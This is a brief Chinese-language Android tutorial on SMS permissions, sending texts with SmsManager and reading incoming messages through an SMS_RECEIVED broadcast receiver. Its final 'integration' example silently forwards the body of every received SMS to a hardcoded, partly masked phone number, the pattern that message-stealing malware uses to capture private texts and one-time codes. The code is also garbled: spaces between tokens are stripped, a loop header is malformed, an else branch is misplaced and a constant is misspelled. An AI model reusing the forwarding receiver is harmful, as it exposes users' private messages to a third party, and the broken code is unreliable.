权限:

<uses-permissionandroid:name="android.permission.READ_SMS"></uses-permission>

<uses-permissionandroid:name="android.permission.SEND_SMS"></uses-permission>


发送短信:

1. 获得默认的消息管理器

2. 通过sendTextMessage发送短信。

SmsManagersm=SmsManager.getDefault();
sm.sendTextMessage("1888888XXX",null,str,null,null);

接收短信

收到短信时,会发出一个action名称为android.provier.Telephony.SMS_RECEIVED的广播Intent,该Intent存放了接管到的短信内容,应用名称 “pdus”即可从Intent中获取短信内容

registerReceiver(newBroadcastReceiver(){

@Override
publicvoidonReceive(Contextcontext,Intentintent){
//TODOAuto-generatedmethodstub
Bundlebundle=intent.getExtras();
SmsMessagemsgs=null;
Stringstr="";
if(bundle!=null)
{
//---retrievetheSMSmessagereceived---
Object[]pdus=(Object[])bundle.get("pdus");
for(inti=0;i<pdus.length;i++){
msgs=SmsMessage.createFromPdu((byte[])pdus[i]);

str+=msgs.getMessageBody().toString();
}
}

}

},newIntentFilter("android.provider.Telephony.SMS_RECEIVED"));

发送与接收集成

context.registerReceiver(newBroadcastReceiver(){
@Override
publicvoidonReceive(Contextcontext,Intentintent){
//TODOAuto-generatedmethodstub
Bundlebundle=intent.getExtras();
SmsMessagemsgs=null;
Stringstr="";
if(bundle!=null)
{
//---retrievetheSMSmessagereceived---
Object[]pdus=(Object[])bundle.get("pdus");
for(inti=0;i<pdus.length;i++{
msgs=SmsMessage.createFromPdu((byte[])pdus[i]);
str+=msgs.getMessageBody().toString();

}

else {//forwardingsms
SmsManagersm=SmsManager.getDefault();
sm.sendTextMessage("16467080XXX",null,str,null,null);
}
}
},newIntentFilter("android.provider.Telephony.SMS_RECEIVED"));